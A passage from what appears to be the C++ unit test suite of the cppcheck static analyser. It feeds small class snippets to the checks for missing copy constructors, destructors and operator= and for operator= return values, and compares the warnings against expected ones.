TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n 